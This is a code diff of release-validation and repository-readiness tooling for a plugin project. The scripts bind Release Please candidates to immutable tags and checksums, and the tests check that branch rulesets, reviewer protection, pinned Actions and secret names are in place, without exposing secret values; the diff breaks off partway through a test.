+ +/** Inputs needed to fail closed while admitting a publication candidate. */ +export interface PublicationAdmissionInput { + /** GitHub owner/repository identity. */ + repository: string + /** Configured release base branch. */ + expectedBaseBranch: string + /** Automation logins permitted to own Release Please pull requests. */ + expectedAutomationIdentities: string[] + /** Push event commit that triggered publication resolution. */ + githubSha: string + /** Version read from the candidate manifest. */ + manifestVersion: string + /** Whether the candidate version tag already exists remotely. */ + tagExists: boolean + /** Release-shaped merged pull requests associated with the push commit. */ + candidates: ReleasePullRequestCandidate[] + /** Previously persisted record, when resuming the same admission. */ + priorRecord?: PublicationCandidateRecord +} + +/** Checksum fields that bind a packaged archive to its source candidate. */ +export interface PublicationChecksumsBinding { + /** Canonical source repository URL. */ + repository: string + /** Commit whose payload was packaged. */ + sourceCommit: string + /** Immutable version tag. */ + tag: string + /** Plugin manifest version. */ + version: string +} + +/** Complete pre-publication equality proof. */ +export interface PublicationBindingInput { + /** Persisted publication candidate. */ + candidate: PublicationCandidateRecord + /** Tag name being published. */ + tag: string + /** Resolved immutable tag commit. */ + tagSha: string + /** Version in the checked-out plugin manifest. */ + manifestVersion: string + /** Commit targeted by the GitHub Release. */ + releaseTargetSha: string + /** Packaged checksum metadata. */ + checksums: PublicationChecksumsBinding +} + +/** Read-only facts required before regenerating or mutating release assets. */ +export interface RepairBindingInput { + /** Existing immutable version tag. */ + tag: string + /** Commit checked out for regeneration. */ + checkoutSha: string + /** Commit resolved from the remote tag. */ + tagSha: string + /** Version read from the checked-out manifest. */ + manifestVersion: string + /** Existing GitHub Release target, when a Release already exists. */ + releaseTargetSha?: string +} + +/** GitHub-derived publication facts required to reproduce repair admission. */ +export interface RepairCandidateBindingInput extends RepairBindingInput { + /** Untrusted publication record carried by the annotated tag. */ + candidate: unknown + /** Current GitHub owner/repository identity. */ + repository: string + /** Trusted release base branch policy. */ + expectedBaseBranch: string + /** Trusted automation logins allowed to own the release pull request. */ + expectedAutomationIdentities: string[] + /** Pull-request and projection facts re-derived from GitHub for this repair. */ + trustedCandidate: ReleasePullRequestCandidate +} + +function recordsEqual(left: PublicationCandidateRecord, right: PublicationCandidateRecord): boolean { + return ( + left.repository === right.repository && + left.baseBranch === right.baseBranch && + left.pullRequest === right.pullRequest && + left.automationIdentity === right.automationIdentity && + left.mergeCommit === right.mergeCommit && + left.version === right.version && + left.tag === right.tag && + left.expectedTagState === right.expectedTagState && + left.projectionDigest === right.projectionDigest + ) +} + +function hasExactKeys(value: Record, keys: string[]): boolean { + return ( + Object.keys(value).length === keys.length && keys.every((key) => Object.hasOwn(value, key)) + ) +} + +/** Parse the tag-carried record without allowing missing, extra, or malformed fields. */ +export function parsePublicationCandidateRecord(value: unknown): PublicationCandidateRecord { + if ( + !value || + typeof value !== "object" || + Array.isArray(value) || + !hasExactKeys(value as Record, [ + "repository", + "baseBranch", + "pullRequest", + "automationIdentity", + "mergeCommit", + "version", + "tag", + "expectedTagState", + "projectionDigest", + ]) + ) { + throw new Error("publication candidate record shape is invalid") + } + const record = value as Record + if ( + typeof record.repository !== "string" || + typeof record.baseBranch !== "string" || + !Number.isInteger(record.pullRequest) || + Number(record.pullRequest) <= 0 || + typeof record.automationIdentity !== "string" || + typeof record.mergeCommit !== "string" || + !/^[a-f0-9]{40}$/.test(record.mergeCommit) || + typeof record.version !== "string" || + typeof record.tag !== "string" || + record.expectedTagState !== "absent" || + typeof record.projectionDigest !== "string" || + !/^[a-f0-9]{64}$/.test(record.projectionDigest) + ) { + throw new Error("publication candidate record shape is invalid") + } + canonicalGitHubRepositoryIdentity(record.repository) + return record as unknown as PublicationCandidateRecord +} + +export function canonicalGitHubRepositoryIdentity(repository: string): string { + const slug = /^(?[A-Za-z0-9_.-]+)\/(?[A-Za-z0-9_.-]+?)(?:\.git)?$/.exec(repository) + if (slug?.groups) return `github.com/${slug.groups.owner}/${slug.groups.name}`.toLowerCase() + let url: URL + try { + url = new URL(repository) + } catch { + throw new Error(`repository is not a canonical GitHub repository: ${repository}`) + } + if ( + url.hostname.toLowerCase() !== "github.com" || + url.username || + url.password || + url.port || + url.search || + url.hash + ) { + throw new Error(`repository is not a canonical GitHub repository: ${repository}`) + } + const path = url.pathname.replace(/^\//, "").replace(/\.git$/, "") + if (!/^[A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+$/.test(path)) { + throw new Error(`repository is not a canonical GitHub repository: ${repository}`) + } + return `github.com/${path}`.toLowerCase() +} + +/** + * Admit one unique merged Release Please pull request and bind it to the push commit. + * + * @param input - GitHub candidate facts and expected release policy + * @returns Immutable record safe to persist before proof + * @throws {Error} When uniqueness, identity, merge, projection, or tag-state checks fail + */ +export function admitPublicationCandidate( + input: PublicationAdmissionInput, +): PublicationCandidateRecord { + if (input.candidates.length !== 1) { + throw new Error( + `publication admission requires exactly one merged Release Please PR; received ${input.candidates.length}`, + ) + } + const candidate = input.candidates[0] + if (candidate.baseBranch !== input.expectedBaseBranch) { + throw new Error( + `publication candidate base branch ${candidate.baseBranch} does not match ${input.expectedBaseBranch}`, + ) + } + if (!input.expectedAutomationIdentities.includes(candidate.automationIdentity)) { + throw new Error(`publication candidate has unexpected automation identity ${candidate.automationIdentity}`) + } + if (candidate.mergeCommit !== input.githubSha) { + throw new Error("publication candidate merge commit does not equal github.sha") + } + if (candidate.mergeMode !== "merge") { + throw new Error(`publication candidate merge mode ${candidate.mergeMode} is unsupported`) + } + if ( + candidate.changedFiles.length === 0 || + new Set(candidate.changedFiles).size !== candidate.changedFiles.length || + candidate.changedFiles.some((path) => !ALLOWED_RELEASE_PROJECTION.has(path)) + ) { + throw new Error("publication candidate changed files outside the allowed release projection") + } + if ( + candidate.changedFileStatuses.length !== candidate.changedFiles.length || + candidate.changedFileStatuses.some((status) => status !== "modified") + ) { + throw new Error("publication candidate used an unsupported file status") + } + if (!/^[a-f0-9]{64}$/.test(candidate.projectionDigest)) { + throw new Error("publication candidate projection digest must be a SHA-256") + } + if (input.tagExists) { + throw new Error(`publication candidate tag v${input.manifestVersion} must be absent before proof`) + } + + const record: PublicationCandidateRecord = { + repository: input.repository, + baseBranch: input.expectedBaseBranch, + pullRequest: candidate.number, + automationIdentity: candidate.automationIdentity, + mergeCommit: candidate.mergeCommit, + version: input.manifestVersion, + tag: `v${input.manifestVersion}`, + expectedTagState: "absent", + projectionDigest: candidate.projectionDigest, + } + if (input.priorRecord && !recordsEqual(input.priorRecord, record)) { + throw new Error("persisted publication candidate record is rebound to another release identity") + } + return input.priorRecord ?? record +} + +/** + * Prove that tag, package, manifest, and GitHub Release identify one candidate commit. + * + * @param input - Candidate plus every publication binding + * @returns The unchanged admitted candidate + * @throws {Error} When any release identity or commit differs + */ +export function validatePublicationBinding( + input: PublicationBindingInput, +): PublicationCandidateRecord { + const { candidate, checksums } = input + if (input.tag !== candidate.tag) throw new Error("publication tag does not match candidate tag") + if (input.tagSha !== candidate.mergeCommit) { + throw new Error("immutable tag target does not match candidate merge commit") + } + if (input.releaseTargetSha !== candidate.mergeCommit) { + throw new Error("GitHub Release target does not match candidate merge commit") + } + if (input.manifestVersion !== candidate.version) { + throw new Error("manifest version does not match publication candidate") + } + if (checksums.sourceCommit !== candidate.mergeCommit) { + throw new Error("packaged source commit does not match publication candidate") + } + if (checksums.tag !== candidate.tag || checksums.version !== candidate.version) { + throw new Error("packaged tag or version does not match publication candidate") + } + if ( + canonicalGitHubRepositoryIdentity(checksums.repository) !== + canonicalGitHubRepositoryIdentity(candidate.repository) + ) { + throw new Error("packaged GitHub repository does not match publication candidate") + } + return candidate +} + +/** + * Validate immutable tag and Release identity before manual asset repair. + * + * @param input - Existing tag, checkout, manifest, and optional Release target + * @returns Normalized tag and immutable commit binding + * @throws {Error} When repair would cross a tag, commit, or version boundary + */ +export function validateRepairBinding( + input: RepairBindingInput, +): { tag: string; commit: string; version: string } { + if (!input.tag) throw new Error("repair tag is required") + if (!input.tagSha) throw new Error("repair tag must exist") + if (input.tagSha !== input.checkoutSha) { + throw new Error("repair tag target does not match checkout SHA") + } + if (input.tag !== `v${input.manifestVersion}`) { + throw new Error( + `repair tag ${input.tag} does not match manifest version ${input.manifestVersion}`, + ) + } + if (input.releaseTargetSha && input.releaseTargetSha !== input.checkoutSha) { + throw new Error("existing GitHub Release target does not match checkout SHA") + } + return { tag: input.tag, commit: input.checkoutSha, version: input.manifestVersion } +} + +/** Bind a manual repair to its original immutable publication admission record. */ +export function validateRepairCandidateBinding( + input: RepairCandidateBindingInput, +): { tag: string; commit: string; version: string } { + const candidate = parsePublicationCandidateRecord(input.candidate) + admitPublicationCandidate({ + repository: input.repository, + expectedBaseBranch: input.expectedBaseBranch, + expectedAutomationIdentities: input.expectedAutomationIdentities, + githubSha: input.checkoutSha, + manifestVersion: input.manifestVersion, + tagExists: false, + candidates: [input.trustedCandidate], + priorRecord: candidate, + }) + return validateRepairBinding(input) +} + +function readJson(repositoryRoot: string, path: string): Record { + return JSON.parse(readFileSync(join(repositoryRoot, path), "utf8")) +} + +function validateRepository(repositoryRoot: string) { + const packageJson = readJson(repositoryRoot, "package.json") + const pluginConfig = readJson(repositoryRoot, "plugin.config.json") + const claudeMarketplace = readJson(repositoryRoot, ".claude-plugin/marketplace.json") + const claudeManifest = readJson(repositoryRoot, "plugin/.claude-plugin/plugin.json") + const codexManifest = readJson(repositoryRoot, "plugin/.codex-plugin/plugin.json") + const codexHooks = readJson(repositoryRoot, "plugin/hooks/codex/hooks.json") + const releaseManifest = readJson(repositoryRoot, ".github/.release-please-manifest.json") + const releaseConfig = readJson(repositoryRoot, ".github/release-please-config.json") + const generatedRuntime = readFileSync(join(repositoryRoot, "plugin/runtime/hello-world.js"), "utf8") + const releaseWorkflow = readFileSync(join(repositoryRoot, ".github/workflows/release.yml"), "utf8") + const changelog = readFileSync(join(repositoryRoot, "CHANGELOG.md"), "utf8") + + const version = pluginConfig.version + const releasedVersion = releaseManifest["."] + const releaseState = releasedVersion === undefined ? "bootstrap" : "released" + const releaseManifestKeys = Object.keys(releaseManifest) + const versionSurfaces = [ + ["package.json", packageJson.version], + ["Claude marketplace metadata", claudeMarketplace.metadata?.version], + ["Claude manifest", claudeManifest.version], + ["Codex manifest", codexManifest.version], + ] as const + + for (const [name, actual] of versionSurfaces) { + if (actual !== version) { + throw new Error(`${name} version ${String(actual)} does not match plugin.config.json ${version}`) + } + } + for (const event of ["SessionStart", "Stop"]) { + const command = codexHooks.hooks?.[event]?.[0]?.hooks?.[0]?.command + if (!String(command).includes(`--plugin-version ${version}`)) { + throw new Error(`generated Codex ${event} hook does not bind plugin version ${version}`) + } + } + + if (releaseState === "bootstrap") { + if (releaseManifestKeys.length !== 0) throw new Error("bootstrap release-please manifest must be empty") + if (version !== "0.1.0") { + throw new Error("an empty release-please manifest is valid only while bootstrapping v0.1.0") + } + } else if (releasedVersion !== version) { + throw new Error( + `release-please manifest version ${String(releasedVersion)} does not match plugin.config.json ${version}`, + ) + } else if (releaseManifestKeys.length !== 1) { + throw new Error("release-please manifest must contain only the root package version") + } + + if (releaseState === "bootstrap") { + if (changelog !== "") throw new Error("bootstrap CHANGELOG.md must be empty") + } else { + if (!changelog.startsWith("# Changelog\n\n")) { + throw new Error("released CHANGELOG.md must start with the canonical Changelog heading") + } + if (/^## Changelog$/m.test(changelog)) { + throw new Error("CHANGELOG.md must not contain a duplicate Changelog heading") + } + } + + if (packageJson.private !== true || "publish" in (packageJson.scripts ?? {})) { + throw new Error("package.json must remain private and must not define an npm publish script") + } + + const packageRelease = releaseConfig.packages?.["."] + if (packageRelease?.["release-type"] !== "node") throw new Error("release type must be node") + if (packageRelease?.["initial-version"] !== "0.1.0") { + throw new Error("initial release version must be pinned to 0.1.0") + } + if (releaseConfig["include-component-in-tag"] !== false) { + throw new Error("release tags must use the single-plugin vX.Y.Z form") + } + if (releaseConfig["skip-github-release"] !== true) { + throw new Error("release-please must maintain pull requests without creating tags or Releases") + } + if (packageRelease?.["changelog-path"] !== "CHANGELOG.md") { + throw new Error("release-please must own CHANGELOG.md") + } + + const expectedExtraFiles = new Set([ + "plugin.config.json::$.version", + ".claude-plugin/marketplace.json::$.metadata.version", + "plugin/.claude-plugin/plugin.json::$.version", + "plugin/.codex-plugin/plugin.json::$.version", + "plugin/hooks/codex/hooks.json::generic", + "plugin/runtime/hello-world.js::generic", + ]) + const configuredExtraFiles = new Set( + (packageRelease?.["extra-files"] ?? []).map((entry: Record) => + entry.type === "generic" + ? `${entry.path}::generic` + : `${entry.path}::${entry.jsonpath}`, + ), + ) + for (const expected of expectedExtraFiles) { + if (!configuredExtraFiles.has(expected)) { + throw new Error(`release-please extra-files is missing ${expected}`) + } + } + for (const configured of configuredExtraFiles) { + if (!expectedExtraFiles.has(configured)) { + throw new Error(`release-please extra-files is unexpected: ${configured}`) + } + } + + for (const marker of [ + "x-release-please-start-version", + `const PLUGIN_VERSION = ${JSON.stringify(version)};`, + "x-release-please-end", + ]) { + if (!generatedRuntime.includes(marker)) throw new Error(`generated runtime is missing ${marker}`) + } + + const actionReferences = [...releaseWorkflow.matchAll(/uses: [^@\s]+@([^\s]+)/g)].map( + (match) => match[1], + ) + if ( + actionReferences.length === 0 || + actionReferences.some((reference) => !/^[a-f0-9]{40}$/.test(reference)) + ) { + throw new Error("release workflow actions must be pinned to full commit SHAs") + } + for (const required of [ + "skip-github-release", + "publication-candidate-${GITHUB_SHA}", + "merge_commit_sha", + "EXPECTED_RELEASE_PLEASE_LOGIN", + "parent_count", + "scripts/release-projection.ts", + 'expectedTagState:"absent"', + "bun run prove:all", + "git diff --exit-code -- plugin/runtime/hello-world.js plugin/hooks/codex/hooks.json", + "ubuntu-24.04-arm", + "macos-15-intel", + "SOURCE_COMMIT", + "ref: ${{ needs.resolve.outputs.candidate_sha }}", + "bun run release:validate -- --repair", + "tag -a \"$RELEASE_TAG\" \"$CANDIDATE_SHA\" -F persisted-candidate.json", + "git for-each-ref --format='%(contents)'", + 'gh api "repos/${GITHUB_REPOSITORY}/pulls/${pr_number}"', + "trusted-repair-candidate.json", + "validateRepairCandidateBinding", + "git push origin \"refs/tags/${RELEASE_TAG}\"", + "remote_tag_sha", + "gh release create", + "--verify-tag", + "gh release download", + "gh release upload", + "*.checksums.json", + "replace_mismatched_assets", + "sha256sum", + "group: release-maintenance", + "group: release-publication-${{ needs.resolve.outputs.release_tag }}", + "release-candidate-${{ github.run_id }}", + "overwrite: true", + "environment: release", + "gh attestation verify", + "actions/attest", + "github.event.repository.private == false", + ]) { + if (!releaseWorkflow.includes(required)) throw new Error(`release workflow is missing ${required}`) + } + if (releaseWorkflow.includes("github.run_attempt")) { + throw new Error("release workflow artifact identity must survive rerun-failed-jobs attempts") + } + if (/^concurrency:/m.test(releaseWorkflow)) { + throw new Error("release workflow must serialize only mutation jobs, not discard distinct pending runs") + } + const maintainJobStart = releaseWorkflow.indexOf("\n maintain:\n") + const compatibilityJobStart = releaseWorkflow.indexOf("\n compatibility:\n") + if ( + maintainJobStart === -1 || + compatibilityJobStart === -1 || + compatibilityJobStart <= maintainJobStart + ) { + throw new Error("release workflow is missing the maintain or compatibility job boundary") + } + const maintainJob = releaseWorkflow.slice(maintainJobStart, compatibilityJobStart) + for (const required of [ + "group: release-maintenance", + "cancel-in-progress: false", + "persist-credentials: false", + "id: bootstrap-version", + "jq 'length' .github/.release-please-manifest.json", + 'release_as="0.1.0"', + "token: ${{ secrets.RELEASE_PLEASE_TOKEN }}", + "release-as: ${{ steps.bootstrap-version.outputs.release_as }}", + ]) { + if (!maintainJob.includes(required)) { + throw new Error(`release workflow maintenance job is missing ${required}`) + } + } + if (maintainJob.includes("secrets.GITHUB_TOKEN")) { + throw new Error("release workflow maintenance job must not fall back to GITHUB_TOKEN") + } + const releaseJobStart = releaseWorkflow.indexOf("\n release:\n") + if (releaseJobStart === -1) throw new Error("release workflow is missing the release job boundary") + const releaseJob = releaseWorkflow.slice(releaseJobStart) + if (!releaseJob.includes(" needs:\n - resolve\n - package\n")) { + throw new Error("release workflow publish job must depend on package") + } + if (!releaseJob.includes("group: release-publication-${{ needs.resolve.outputs.release_tag }}")) { + throw new Error("release workflow publish mutation must serialize by resolved immutable tag") + } + if (!releaseJob.includes(" permissions:\n actions: read\n")) { + throw new Error("release workflow publish job must grant actions: read") + } + + return { + ok: true, + version, + releaseState, + changelog: "CHANGELOG.md", + tag: `v${version}`, + npmPublicationRequired: false, + versionSurfaces: [ + ...versionSurfaces.map(([name]) => name), + "generated Codex hook definition", + ...(releaseState === "released" ? ["release-please manifest"] : []), + ], + } +} + +interface ParsedArguments { + json: boolean + repair: boolean + help: boolean + tag?: string + checkoutSha?: string + tagSha?: string + releaseTargetSha?: string + candidatePath?: string + trustedCandidatePath?: string + repository?: string + expectedBaseBranch?: string + expectedAutomationLogin?: string +} + +function parseArguments(arguments_: string[]): ParsedArguments { + const parsed: ParsedArguments = { json: false, repair: false, help: false } + for (let index = 0; index < arguments_.length; index += 1) { + const argument = arguments_[index] + if (argument === "--json") parsed.json = true + else if (argument === "--repair") parsed.repair = true + else if (argument === "--help" || argument === "-h") parsed.help = true + else if ([ + "--tag", + "--checkout-sha", + "--tag-sha", + "--release-target-sha", + "--candidate", + "--trusted-candidate", + "--repository", + "--expected-base-branch", + "--expected-automation-login", + ].includes(argument)) { + const value = arguments_[index + 1] + if (!value || value.startsWith("--")) throw new Error(`${argument} requires a value`) + index += 1 + if (argument === "--tag") parsed.tag = value + else if (argument === "--checkout-sha") parsed.checkoutSha = value + else if (argument === "--tag-sha") parsed.tagSha = value + else if (argument === "--release-target-sha") parsed.releaseTargetSha = value + else if (argument === "--candidate") parsed.candidatePath = value + else if (argument === "--trusted-candidate") parsed.trustedCandidatePath = value + else if (argument === "--repository") parsed.repository = value + else if (argument === "--expected-base-branch") parsed.expectedBaseBranch = value + else parsed.expectedAutomationLogin = value + } else throw new Error(`unknown option: ${argument}`) + } + return parsed +} + +function main(): void { + let parsed: ParsedArguments + try { + parsed = parseArguments(process.argv.slice(2)) + } catch (error) { + console.error(`release:validate: ${(error as Error).message}`) + console.error("Run `bun run release:validate -- --help` for usage.") + process.exit(2) + } + if (parsed.help) { + process.stdout.write(help) + return + } + + try { + const result = validateRepository(root) + if (parsed.repair) { + const candidatePath = parsed.candidatePath ?? process.env.PUBLICATION_CANDIDATE_PATH + if (!candidatePath) throw new Error("publication candidate record is required for repair") + const candidate = JSON.parse(readFileSync(candidatePath, "utf8")) as unknown + const trustedCandidatePath = + parsed.trustedCandidatePath ?? process.env.TRUSTED_REPAIR_CANDIDATE_PATH + if (!trustedCandidatePath) { + throw new Error("GitHub-derived publication candidate is required for repair") + } + const trustedCandidate = JSON.parse( + readFileSync(trustedCandidatePath, "utf8"), + ) as ReleasePullRequestCandidate + const repository = parsed.repository ?? process.env.GITHUB_REPOSITORY + if (!repository) throw new Error("repository identity is required for repair") + const expectedBaseBranch = parsed.expectedBaseBranch ?? process.env.BASE_BRANCH + if (!expectedBaseBranch) throw new Error("expected base branch is required for repair") + const expectedAutomationLogin = + parsed.expectedAutomationLogin ?? process.env.EXPECTED_RELEASE_PLEASE_LOGIN + if (!expectedAutomationLogin) { + throw new Error("expected automation identity is required for repair") + } + const repair = validateRepairCandidateBinding({ + candidate, + repository, + expectedBaseBranch, + expectedAutomationIdentities: [expectedAutomationLogin], + trustedCandidate, + tag: parsed.tag ?? process.env.REPAIR_TAG ?? "", + checkoutSha: parsed.checkoutSha ?? process.env.CHECKOUT_SHA ?? "", + tagSha: parsed.tagSha ?? process.env.TAG_SHA ?? "", + manifestVersion: result.version, + releaseTargetSha: + (parsed.releaseTargetSha ?? process.env.RELEASE_TARGET_SHA) || undefined, + }) + if (parsed.json) console.log(JSON.stringify({ ...result, mode: "repair", repair })) + else console.log(`Release repair binding valid for ${repair.tag} at ${repair.commit}.`) + } else if (parsed.json) console.log(JSON.stringify(result)) + else console.log(`Release metadata valid for ${result.tag}. No npm publication required.`) + } catch (error) { + console.error(`release:validate: ${(error as Error).message}`) + process.exit(1) + } +} + +if (import.meta.main) main() diff --git a/scripts/repository-readiness.test.ts b/scripts/repository-readiness.test.ts new file mode 100644 index 0000000..8368556 --- /dev/null +++ b/scripts/repository-readiness.test.ts @@ -0,0 +1,383 @@ +import { readdirSync, readFileSync } from "node:fs" +import { join, resolve } from "node:path" + +import { describe, expect, test } from "bun:test" + +import { + REQUIRED_HOSTED_CANARY_SECRETS, + REQUIRED_STATUS_CHECKS, + actionReferencesFromWorkflows, + classifyActionsPermissions, + classifyApiFailure, + classifyHostedCanaryConfiguration, + classifyMergeHistoryPolicy, + classifyRepositorySettings, + classifyReleaseAutomationConfiguration, + classifyReleaseEnvironmentProtection, + classifyRequiredStatusChecks, + classifyTagRuleset, + classifyWorkflowAdminPermissions, + summarizeReadiness, +} from "./repository-readiness" + +const root = resolve(import.meta.dir, "..") +const tagRulesetRepair = + "Settings > Rules > Rulesets > New tag ruleset: target tags matching v*, enable Restrict deletions and Restrict updates, no bypass actors" + +function immutableTagRuleset(overrides: Record = {}): Record { + return { + id: 17, + name: "Immutable version tags", + target: "tag", + enforcement: "active", + bypass_actors: [], + conditions: { + ref_name: { + include: ["refs/tags/v*"], + exclude: [], + }, + }, + rules: [{ type: "deletion" }, { type: "update" }], + ...overrides, + } +} + +test("reports ready when every publication safeguard is proven", () => { + const checks = [ + classifyTagRuleset([immutableTagRuleset()]), + classifyMergeHistoryPolicy(null, [{ type: "required_status_checks" }]), + ...classifyRepositorySettings({ default_branch: "main", allow_merge_commit: true }), + classifyActionsPermissions({ enabled: true, allowed_actions: "all" }), + classifyReleaseAutomationConfiguration( + { secrets: [{ name: "RELEASE_PLEASE_TOKEN" }] }, + { variables: [{ name: "RELEASE_PLEASE_AUTOMATION_LOGIN", value: "must-not-leak" }] }, + ), + classifyReleaseEnvironmentProtection({ + protection_rules: [ + { type: "required_reviewers", reviewers: [{ type: "User", reviewer: { login: "release-owner" } }] }, + ], + }), + classifyHostedCanaryConfiguration( + { name: "hosted-canary-qualification" }, + { secrets: REQUIRED_HOSTED_CANARY_SECRETS.map((name) => ({ name })) }, + ), + classifyRequiredStatusChecks({ strict: true, contexts: REQUIRED_STATUS_CHECKS }), + classifyWorkflowAdminPermissions([ + { + path: ".github/workflows/release.yml", + source: "permissions:\n contents: read\njobs:\n publish:\n permissions:\n contents: write\n", + }, + ]), + ] + + expect(summarizeReadiness(checks)).toEqual({ ok: true, checks }) + expect(checks.every((check) => check.status === "ready")).toBe(true) +}) + +describe("main merge-history policy", () => { + test("accepts absent classic protection and effective rules without linear history", () => { + expect(classifyMergeHistoryPolicy(null, [{ type: "required_status_checks" }])).toMatchObject({ + name: "merge-history-policy", + status: "ready", + repair: "", + }) + }) + + test("rejects classic branch protection requiring linear history", () => { + expect( + classifyMergeHistoryPolicy( + { required_linear_history: { enabled: true } }, + [{ type: "required_status_checks" }], + ), + ).toMatchObject({ status: "missing" }) + }) + + test("rejects an effective ruleset requiring linear history", () => { + expect( + classifyMergeHistoryPolicy(null, [{ type: "required_linear_history" }]), + ).toMatchObject({ status: "missing" }) + }) + + test("accepts explicitly disabled classic linear-history protection", () => { + expect( + classifyMergeHistoryPolicy( + { required_linear_history: { enabled: false } }, + [{ type: "pull_request" }], + ), + ).toMatchObject({ status: "ready" }) + }) + + test.each([ + ["classic protection", undefined, []], + ["classic linear-history rule", { required_linear_history: {} }, []], + ["effective rules", null, undefined], + ["malformed effective rule", null, [{}]], + ] as const)("fails closed for unreadable %s", (_condition, protection, rules) => { + expect(classifyMergeHistoryPolicy(protection, rules)).toMatchObject({ + name: "merge-history-policy", + status: "unavailable", + }) + }) +}) + +describe("release environment required reviewers", () => { + const repair = + "Settings > Environments > release > Deployment protection rules: enable Required reviewers and add at least one reviewer" + + test("accepts configured required-reviewer protection", () => { + expect( + classifyReleaseEnvironmentProtection({ + protection_rules: [ + { type: "required_reviewers", reviewers: [{ type: "Team", reviewer: { slug: "releasers" } }] }, + ], + }), + ).toMatchObject({ name: "release-environment-reviewers", status: "ready", repair: "" }) + }) + + test.each([ + ["missing rule", { protection_rules: [] }, "missing"], + ["empty reviewer list", { protection_rules: [{ type: "required_reviewers", reviewers: [] }] }, "missing"], + ["unreadable response", undefined, "unavailable"], + ] as const)("fails closed for %s", (_condition, response, status) => { + expect(classifyReleaseEnvironmentProtection(response)).toMatchObject({ + name: "release-environment-reviewers", + status, + repair, + }) + }) +}) + +describe("hosted-canary qualification configuration", () => { + const environment = { name: "hosted-canary-qualification" } + const secrets = { secrets: REQUIRED_HOSTED_CANARY_SECRETS.map((name) => ({ name })) } + + test("accepts the environment with all required secret names", () => { + expect(classifyHostedCanaryConfiguration(environment, secrets)).toMatchObject({ + name: "hosted-canary-configuration", + status: "ready", + repair: "", + }) + }) + + test("reports every absent environment secret without reading values", () => { + const check = classifyHostedCanaryConfiguration(environment, { + secrets: [{ name: "CANARY_GH_TOKEN", value: "must-not-leak" }], + }) + + expect(check).toMatchObject({ status: "missing" }) + expect(check.detail).toContain("CANARY_SSH_KNOWN_HOSTS") + expect(check.detail).toContain("CANARY_SSH_PRIVATE_KEY") + expect(JSON.stringify(check)).not.toContain("must-not-leak") + }) + + test.each([ + ["environment metadata", undefined, secrets], + ["wrong environment", { name: "release" }, secrets], + ["secret response", environment, undefined], + ["secret name", environment, { secrets: [{}] }], + ] as const)("fails closed for unreadable %s", (_condition, environmentResponse, secretsResponse) => { + expect( + classifyHostedCanaryConfiguration(environmentResponse, secretsResponse), + ).toMatchObject({ + name: "hosted-canary-configuration", + status: "unavailable", + }) + }) +}) + +test("release automation readiness checks names without exposing values", () => { + const readyCheck = classifyReleaseAutomationConfiguration( + { secrets: [{ name: "RELEASE_PLEASE_TOKEN" }] }, + { variables: [{ name: "RELEASE_PLEASE_AUTOMATION_LOGIN", value: "myagentdojo" }] }, + ) + const missingCheck = classifyReleaseAutomationConfiguration({ secrets: [] }, { variables: [] }) + + expect(readyCheck).toMatchObject({ status: "ready" }) + expect(JSON.stringify(readyCheck)).not.toContain("myagentdojo") + expect(missingCheck).toMatchObject({ status: "missing" }) + expect(missingCheck.detail).toContain("secret RELEASE_PLEASE_TOKEN") + expect(missingCheck.detail).toContain("variable RELEASE_PLEASE_AUTOMATION_LOGIN") +}) + +describe("Actions permissions", () => { + const requiredActions = [ + "actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1", + "actions/attest@1e69f48acb82d1966a394da916b4c1698aa569d6", + "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6", + "googleapis/release-please-action@45996ed1f6d02564a971a2fa1b5860e934307cf7", + ] + + test.each([ + ["unreadable response", undefined, "unavailable"], + ["disabled Actions", { enabled: false, allowed_actions: "all" }, "missing"], + ["unreadable policy", { enabled: true }, "unavailable"], + ] as const)("fails closed for %s", (_condition, permissions, status) => { + expect(classifyActionsPermissions(permissions, undefined, requiredActions)).toMatchObject({ + status, + }) + }) + + test("rejects local-only policy", () => { + expect( + classifyActionsPermissions( + { enabled: true, allowed_actions: "local_only" }, + undefined, + requiredActions, + ), + ).toMatchObject({ status: "missing" }) + }) + + test("accepts selected GitHub-owned and verified actions", () => { + expect( + classifyActionsPermissions( + { enabled: true, allowed_actions: "selected" }, + { github_owned_allowed: true, verified_allowed: true, patterns_allowed: [] }, + requiredActions, + ), + ).toMatchObject({ status: "ready" }) + }) + + test("accepts selected action patterns pinned to exact refs", () => { + expect( + classifyActionsPermissions( + { enabled: true, allowed_actions: "selected" }, + { + github_owned_allowed: true, + verified_allowed: false, + patterns_allowed: ["oven-sh/setup-bun@*", "googleapis/release-please-action@*"], + }, + requiredActions, + ), + ).toMatchObject({ status: "ready" }) + }) + + test("rejects a selected policy that omits a required action", () => { + const check = classifyActionsPermissions( + { enabled: true, allowed_actions: "selected" }, + { + github_owned_allowed: true, + verified_allowed: false, + patterns_allowed: ["oven-sh/setup-bun@*"], + }, + requiredActions, + ) + + expect(check).toMatchObject({ status: "missing" }) + expect(check.detail).toContain("googleapis/release-please-action@") + }) + + test("fails closed when selected-action settings are unreadable", () => { + expect( + classifyActionsPermissions( + { enabled: true, allowed_actions: "selected" }, + undefined, + requiredActions, + ), + ).toMatchObject({ status: "unavailable" }) + }) + + test("discovers both list-item and job-level action references", () => { + expect( + actionReferencesFromWorkflows([ + "steps:\n - uses: oven-sh/setup-bun@pinned\njob:\n uses: actions/example@pinned\n - uses: ./local\n", + ]), + ).toEqual(["actions/example@pinned", "oven-sh/setup-bun@pinned"]) + }) + + test("real workflows include the pinned setup-bun action", () => { + const workflowDirectory = join(root, ".github", "workflows") + const references = actionReferencesFromWorkflows( + readdirSync(workflowDirectory) + .filter((path) => path.endsWith(".yml") || path.endsWith(".yaml")) + .map((path) => readFileSync(join(workflowDirectory, path), "utf8")), + ) + + expect(references).toContain( + "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6", + ) + }) +}) + +describe("immutable version tag ruleset", () => { + test.each([ + ["absent", []], + ["disabled", [immutableTagRuleset({ enforcement: "disabled" })]], + [ + "bypassable", + [ + immutableTagRuleset({ + bypass_actors: [{ actor_type: "RepositoryRole", actor_id: 5, bypass_mode: "always" }], + }), + ], + ], + ["mutable", [immutableTagRuleset({ rules: [{ type: "deletion" }] })]], + [ + "non-fast-forward only", + [ + immutableTagRuleset({ + rules: [{ type: "deletion" }, { type: "non_fast_forward" }], + }), + ], + ], + ] as const)("reports the settings repair when the rule is %s", (_condition, rulesets) => { + const check = classifyTagRuleset(rulesets) + + expect(check.status).toBe("missing") + expect(check.repair).toBe(tagRulesetRepair) + expect(check.detail).toContain("immutable") + }) +}) + +test("fails closed distinctly when a safeguard API is missing, unauthorized, or unavailable", () => { + const repair = "Settings > Rules > 